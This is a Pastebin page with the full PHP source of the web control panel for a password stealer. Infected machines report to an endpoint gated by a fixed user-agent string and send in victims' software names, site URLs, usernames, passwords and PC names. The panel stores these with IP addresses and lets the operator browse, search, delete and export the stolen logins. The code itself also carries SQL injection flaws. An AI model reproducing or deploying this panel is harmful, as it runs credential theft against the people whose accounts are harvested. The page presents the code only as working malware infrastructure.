Advertisement
Guest User

Bilal Ghouri

a guest
Jul 17th, 2015
826
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 14.48 KB | None | 0 0
  1. <?php
  2. session_start();
  3. require 'config.php';
  4. $connect = mysql_connect($hostname, $username, $password) or trigger_error(mysql_error(),E_USER_ERROR);
  5. mysql_select_db($database) or die(mysql_error());
  6. define(USER_AGENT, 'HardCore Software For : Public');
  7. function query($data)
  8. {
  9.     if(get_magic_quotes_gpc())
  10.     {
  11.         $data = stripslashes($data);
  12.     }
  13.     $data = mysql_real_escape_string($data);
  14.     return $data;
  15. }
  16. function pages_number($total, $logsperpage, $fetched)
  17. {
  18.     $pagesnumber = ((ceil($total/$logsperpage) -1 ) >= 0) ? (ceil($total/$logsperpage) -1 ) : 0;
  19.     $temp = "<strong>Page:</strong> ";
  20.  
  21.     if ($_GET['search'] == 'Search')
  22.     {
  23.         if (isset($_GET['page']))
  24.         {
  25.             $_SERVER['QUERY_STRING'] = str_replace('page='.$_GET['page'], '', $_SERVER['QUERY_STRING']);
  26.         }
  27.         $querystring = ($_SERVER['QUERY_STRING'] != '') ? '?'.$_SERVER['QUERY_STRING'].'&' : '?';
  28.         $querystring = str_replace('&&', '&', $querystring);
  29.     }
  30.     else
  31.     {
  32.         $querystring = '?';
  33.     }
  34.     $ppage = (($_SESSION["page"]-1) >= 0) ? ($_SESSION["page"]-1) : $_SESSION["page"];
  35.     $npage = (($_SESSION["page"]+1) <= $pagesnumber) ? ($_SESSION["page"]+1) : $_SESSION["page"];
  36.     if ($_SESSION['page'] == 0)
  37.     {
  38.         $first = 'First -';
  39.     }
  40.     else
  41.     {
  42.         $first = ' <a href="'.$querystring.'page=0">First</a> -';
  43.     }
  44.     if ($ppage == $_SESSION['page'])
  45.     {
  46.         $previous = ' Previous -';
  47.     }
  48.     else
  49.     {
  50.         $previous = ' <a href="'.$querystring.'page='.$ppage.'">Previous</a> -';
  51.     }
  52.     if ($npage == $_SESSION['page'])
  53.     {
  54.         $next = ' Next -';
  55.     }
  56.     else
  57.     {
  58.         $next = ' <a href="'.$querystring.'page='.$npage.'">Next</a> -';
  59.     }
  60.     if ($_SESSION['page'] == $pagesnumber)
  61.     {
  62.         $last = ' Last';
  63.     }
  64.     else
  65.     {
  66.  
  67.         $last = ' <a href="'.$querystring.'page='.($pagesnumber).'">Last</a>';
  68.     }
  69.     $temp .= $first.$previous.$next.$last;
  70.     //$temp .= ' (Showing '.(($logsperpage*$_SESSION["page"])).' - '.(($_SESSION["page"]*$logsperpage)+$logsperpage).' of '.$total.' Results)';
  71.     $temp .= ' (Showing '.($logsperpage*$_SESSION["page"]).' - '.(($logsperpage*$_SESSION["page"])+$fetched).' of '.$total.' Results)';
  72.     return $temp;
  73. }
  74. if(isset($_POST['submit']))
  75. {
  76.     if ($_POST['username'] == $adminuser && $_POST['password'] == $adminpass)
  77.     {
  78.         $error = false;
  79.         $_SESSION['logged'] = 'yes';
  80.         $_SESSION["page"] = 0;
  81.         $_SESSION["order"] = 'DESC';
  82.     }
  83.     else
  84.     {
  85.         $error = true;
  86.     }
  87. }
  88. if(isset($_POST['delete']))
  89. {
  90.     if (isset($_POST["sel"]) && count($_POST["sel"])!=0)
  91.     {
  92.  
  93.         for ($i=0; $i<count($_POST["sel"]); $i++)
  94.         {
  95.             if (is_numeric($_POST["sel"][$i]))
  96.             {
  97.  
  98.                 $result = mysql_query("DELETE FROM `logs` WHERE `id` = ".$_POST["sel"][$i]." LIMIT 1;");
  99.                 if (!$result) die(mysql_error());
  100.                 @mysql_free_result($result);
  101.             }
  102.         }
  103.     }
  104.     header("Location: index.php");
  105. }
  106. if (isset($_POST['export_all']))
  107. {
  108. if ($_SESSION['logged'] != 'yes') exit();
  109.     header("Content-Type: text/plain");
  110.     header("Content-Disposition: Attachment; filename=logs.ini");
  111.     header("Pragma: no-cache");
  112.  
  113.     $result = mysql_query("SELECT * FROM logs;");
  114.     while ($row = mysql_fetch_assoc($result))
  115.     {
  116.         echo 'Software:'."\t".$row['app']."\r\n";
  117.         echo 'Sitename:'."\t".$row['url']."\r\n";
  118.         echo 'Login:'."\t\t".$row['username'].':'.$row['password']."\r\n";
  119.         echo 'PC Name:'."\t".$row['pcname']."\r\n";
  120.         echo 'Date:'."\t\t".$row['date']."\r\n";
  121.         echo '=='."\r\n\r\n";
  122.     }
  123.     @mysql_free_result($result);
  124.     exit;
  125. }
  126. else if(isset($_POST['export']))
  127. {
  128. if ($_SESSION['logged'] != 'yes') exit();
  129.     header("Content-Type: text/plain");
  130.     header("Content-Disposition: Attachment; filename=logs.ini");
  131.     header("Pragma: no-cache");
  132.     if (count($_POST['sel']) > 0)
  133.     {
  134.         if (count($_POST['sel']) == 1)
  135.         {
  136.             $query .= 'id='.$_POST["sel"][0];
  137.         }
  138.         else
  139.         {
  140.             foreach ($_POST['sel'] as $key => $value)
  141.             {
  142.                 $query .= 'id='.$value.' or ';
  143.             }
  144.         }
  145.         $query .= ';';
  146.         $query = str_replace(' or ;', ';', $query);
  147.         $result = mysql_query("SELECT * FROM logs WHERE ".$query);
  148.         while ($row = mysql_fetch_assoc($result))
  149.         {
  150.             echo 'Software:'."\t".$row['app']."\r\n";
  151.             echo 'Sitename:'."\t".$row['url']."\r\n";
  152.             echo 'Login:'."\t\t".$row['username'].':'.$row['password']."\r\n";
  153.             echo 'PC Name:'."\t".$row['pcname']."\r\n";
  154.             echo 'Date:'."\t\t".$row['date']."\r\n";
  155.             echo '=='."\r\n\r\n";
  156.         }
  157.         @mysql_free_result($result);
  158.     }
  159.     exit;
  160. }
  161. if($_GET['search'] == 'Search')
  162. {
  163.  
  164.     $search = query(trim($_GET['query']));
  165.     $in = query(trim($_GET['in']));
  166. }
  167. if ($_GET['action'] == 'add')
  168. {
  169.     if ($_SERVER['HTTP_USER_AGENT'] == USER_AGENT)
  170.     {
  171.         if (isset($_GET["app"]) && isset($_GET["username"]) && isset($_GET["sitename"]) && isset($_GET["password"])&& isset($_GET["pcname"]))
  172.         {
  173.             foreach($_GET as $key => $value)
  174.             {
  175.                 $data[$key] = query($value);
  176.             }
  177.             $result = mysql_query("SELECT id FROM `logs` WHERE `app` = '".urldecode($data["app"])."' AND `url` = '".urldecode($data["sitename"])."' AND `username` = '".urldecode($data['username'])."' AND `password` = '".urldecode($data['password'])."';");
  178.             if (mysql_num_rows($result) == 0)
  179.             {
  180.                 $results = mysql_query("INSERT INTO `logs` (`id`, `app`, `url`, `username`, `password`, `pcname`, `date`, `ip`)
  181.          VALUES (NULL ,'".urldecode($data["app"])."', '".urldecode($data["sitename"])."', '".urldecode($data['username'])."','".urldecode($data['password'])."', '".urldecode($data['pcname'])."', '".date("Y-m-d H:i:s")."', '".$_SERVER['REMOTE_ADDR']."');");
  182.                 @mysql_free_result($results);
  183.             }
  184.             @mysql_free_result($result);
  185.         }
  186.     }
  187.     exit;
  188. }
  189. if (isset($_POST['ord']))
  190. {
  191.     $ord = query(trim($_POST['ord']));
  192.     $query = mysql_query ("UPDATE options SET `order`='".$ord."';") or die(mysql_error);
  193.     @mysql_free_result($query);
  194. }
  195. $id    = query(trim($_GET['id']));
  196. $themes = array ('dark');
  197. if (isset($_GET['action']) && $_GET['action'] == 'updatetheme' && $id <= 0 && $id != $themes[$id])
  198. {
  199.     $query = mysql_query ("UPDATE options SET theme='".$themes[$id]."';") or die(mysql_error);
  200.     @mysql_free_result($query);
  201. }
  202. $result = mysql_query("SELECT * FROM options");
  203. $theme = mysql_fetch_assoc($result);
  204. $_SESSION['order'] = $theme['order'];
  205.  
  206. if (trim($_GET['action']) == 'logout')
  207. {
  208.     $_SESSION['logged'] = 'no';
  209.     session_destroy();
  210.     header("Location: index.php");
  211.     exit;
  212. }
  213.  
  214. $choices = array("app", "url", "username", "password", "pcname", 'ip', 'date');
  215. if (!isset($_GET['search']))
  216. {
  217.  
  218.     $totalq = mysql_query("SELECT id FROM logs");
  219.     $total = mysql_num_rows($totalq);
  220. }
  221. else
  222. {
  223.     $totalq = mysql_query("SELECT id FROM `logs` WHERE `".$choices[$in]."` LIKE '%".$search."%' ORDER BY `date` ".$_SESSION['order'].";");
  224.     $total = mysql_num_rows($totalq);
  225. }
  226. if (isset($_GET["page"]) && is_numeric($_GET["page"]) && $_GET["page"]>=0 && $_GET["page"]<=ceil($total/$logsperpage))
  227. {
  228.     $_SESSION["page"] = query($_GET["page"]);
  229. }
  230. else
  231. {
  232.     $_SESSION['page'] = 0;
  233. }
  234. @mysql_free_result($result);
  235. @mysql_free_result($totalq);
  236. ?>
  237. <html>
  238. <head>
  239. <title>(c) Bilal Ghouri</title>
  240. <link rel='stylesheet' type='text/css' id="theme" href="style_<?php echo $theme['theme']; ?>.css"/>
  241. <script language='javascript' type='text/javascript'>
  242. function checkAll()
  243. {
  244.     chk = document.getElementsByName('sel[]');
  245.     for (i = 0; i<chk.length; i++)
  246.     {
  247.         if (document.frm.elements['check_all'].checked) chk[i].checked = true; else chk[i].checked = false;
  248.     }
  249. }
  250. function confirmation()
  251. {
  252.     chk = document.getElementsByName('sel[]');
  253.     for (i = 0; i<chk.length; i++)
  254.     {
  255.         if (chk[i].checked == true)
  256.         {
  257.             return confirm('Are you sure you want to delete all selected logs?');
  258.         }
  259.     }
  260.     alert('At least one option must be select.');
  261.     return false;
  262. }
  263. </script>
  264.  
  265. </head>
  266. <body>
  267. <div id="wrapper">
  268. <div id="header">
  269. <form name='search' method='POST' action="<?php echo $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; ?>">
  270.   <div id="themeswitch"> <strong>Sorting Logs:</strong>
  271.   <select name='ord'>
  272. <option <?php if($_SESSION['order'] == 'ASC') echo 'selected=selected'; else echo 'onclick="this.form.submit()"' ?> value='ASC'>Oldest First</option>
  273. <option <?php if($_SESSION['order'] == 'DESC') echo 'selected=selected'; else echo 'onclick="this.form.submit()"' ?> value='DESC'>Newest First</option>
  274. </select>
  275.   </div>
  276. </form>
  277. <div style="clear: both"></div>
  278. <div id="searchform">
  279.     <form name='search' method='GET' action='index.php?action=search'>
  280.         <strong>Search for:</strong> <input type='text' name='query' size='20' value="<?php echo $search; ?>"> In: <select name='in'>
  281.         <option <?php if($in == 0) echo 'selected=selected'; ?> value='0'>Softwares</option>
  282.         <option <?php if($in == 1) echo 'selected=selected'; ?> value='1'>Sitename</option>
  283.         <option <?php if($in == 2) echo 'selected=selected'; ?> value='2'>Username</option>
  284.         <option <?php if($in == 3) echo 'selected=selected'; ?> value='3'>Password</option>
  285.         <option <?php if($in == 4) echo 'selected=selected'; ?> value='4'>PC Name</option>
  286.         <option <?php if($in == 5) echo 'selected=selected'; ?> value='5'>IP Address</option>
  287.         <option <?php if($in == 6) echo 'selected=selected'; ?> value='6'>Date</option>
  288.         </select>
  289.         <input type='submit' value='Search' name='search'>
  290.     </form>
  291. </div>
  292. <p id="slogan"></p>
  293. </div>
  294. <div id="menu">
  295. <a href="index.php">Home</a> | <a href="?action=logout">Logout</a></span>
  296. </div>
  297. <div id="container">
  298. <div id="main">
  299. <?php
  300. if ($_GET['action'] != 'about')
  301. {
  302. if ($_SESSION['logged'] == 'yes')
  303. {
  304. ?>
  305. <form name='frm' method='POST' action=''>
  306. <table cellpadding="0" cellspacing="0" border="0" width="100%">
  307. <tr class="heading">
  308. <td style="width:5px;"><input type="checkbox" name='check_all' onClick='checkAll();' /></td>
  309. <td class="head" style="width: 10%;">App Name</td>
  310. <td class="head">Sitename</td>
  311. <td class="head">Username</td>
  312. <td class="head">Password</td>
  313. <td class="head">PC Name</td>
  314. <td class="head">IP Address</td>
  315. <td class="head">Date</td>
  316. </tr>
  317. <?php
  318. if ($_GET['search'] == 'Search' && $search != '')
  319. {
  320.     if ($search == '' || $in == '')
  321.     {
  322.         echo '<tr><td colspan="6" style="text-align:center;">You forgot the Search Query</td></tr>';
  323.     }
  324.     else if (isset($in) && is_numeric($in) && $in <= 6 && $search != '')
  325.     {
  326.         $result = mysql_query("SELECT * FROM `logs` WHERE `".$choices[$in]."` LIKE '%".$search."%' ORDER BY `date` ".$_SESSION['order']." LIMIT ".($logsperpage*$_SESSION["page"])." , ".$logsperpage.";");
  327.         $fetched = mysql_num_rows($result);
  328.         if (mysql_num_rows($result) > 0)
  329.         {
  330.             $i = 0;
  331.             while ($row = mysql_fetch_array($result))
  332.             {
  333.                 $class = ($i % 2 != 0) ? "al" : '';
  334.                 echo '
  335.          <tr class="'.$class.'">
  336.          <td style="width:5px;"><input type="checkbox" name="sel[]" value="'.$row['id'].'" /></td>
  337.          <td style="width: 10%;">'.$row['app'].'</td>
  338.          <td style="width: 25%;">'.$row['url'].'</td>
  339.          <td style="width: 15%;">'.$row['username'].'</td>
  340.          <td style="width: 13%;">'.$row['password'].'</td>
  341.          <td style="width: 8%;">'.$row['pcname'].'</td>
  342.          <td style="width: 12%;">'.$row['ip'].'</td>
  343.          <td>'.$row['date'].'</td>
  344.          </tr>
  345.                ';
  346.                 $i++;
  347.             }
  348.         }
  349.         else
  350.         {
  351.             echo '<tr><td colspan="8" style="text-align:center;">No Result found.. :(</td></tr>';
  352.         }
  353.         @mysql_free_result($result);
  354.     }
  355. }
  356. else
  357. {
  358.     if ($total > 0)
  359.     {
  360.         $result = mysql_query("SELECT * FROM `logs` ORDER BY `date` ".$_SESSION['order']." LIMIT ".($logsperpage*$_SESSION["page"])." , ".$logsperpage.";");
  361.         $i = 0;
  362.         $fetched = mysql_num_rows($result);
  363.         while ($row = mysql_fetch_assoc($result))
  364.         {
  365.             $class = ($i % 2 != 0) ? "al" : '';
  366.             echo '
  367.                  <tr class="'.$class.'">
  368.                  <td style="width:5px;"><input type="checkbox" name="sel[]" value="'.$row['id'].'" /></td>
  369.                  <td style="width: 10%;">'.$row['app'].'</td>
  370.                  <td style="width: 25%;">'.$row['url'].'</td>
  371.                  <td style="width: 15%;">'.$row['username'].'</td>
  372.                  <td style="width: 13%;">'.$row['password'].'</td>
  373.                  <td style="width: 8%;">'.$row['pcname'].'</td>
  374.                  <td style="width: 12%;">'.$row['ip'].'</td>
  375.                  <td>'.$row['date'].'</td>
  376.                  </tr>
  377.            ';
  378.             $i++;
  379.         }
  380.         @mysql_free_result($result);
  381.     }
  382.     else
  383.     {
  384.         echo '<tr><td colspan="8" style="text-align:center;">No Logs found.. :(</td></tr>';
  385.     }
  386. }
  387. ?>
  388. </table>
  389. <div class="title page">
  390. <span class="paging"><?php echo pages_number($total, $logsperpage, $fetched); ?></span><span class="buttons"><input type="submit" name="delete" value="Delete" onclick="if (!confirmation()) return false;" /> | <input type="submit" name="export" value="Export" /> | <input type="submit" name="export_all" value="Export All Logs" />
  391. </div>
  392. </form>
  393. <?php
  394. } else {
  395. if ($error)
  396. {
  397.     echo '<div style="color:#FF0000; font-weight:bold;">Incorrect Username/Password</div>';
  398. }
  399. ?>
  400. <form style="" method="post" action="">
  401. <span class="login">Please enter your password:</span><br /><br />
  402. <span class="login">Username:</span><input name="username" type="text" size="25"> <br /><br />
  403. <span class="login">Password:</span><input name="password" type="password" size="25"><br />
  404. <input type="submit" name="submit" value="Login">
  405. </form>
  406. <?php
  407. }
  408. }
  409. else
  410. {
  411. ?>
  412.  
  413. <?php } ?>
  414. </div> <!-- end of main-->
  415. </div>
  416. <div id="footer">
  417. <!-- Do not remove or modify copyright notice in any way -->
  418.     <p>Powered By <a href="http://www.Pegor.com">Bilal Ghouri</a></p>
  419. </div>
  420.  
  421. </body>
  422. </html>
  423. <?php mysql_close($connect); ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement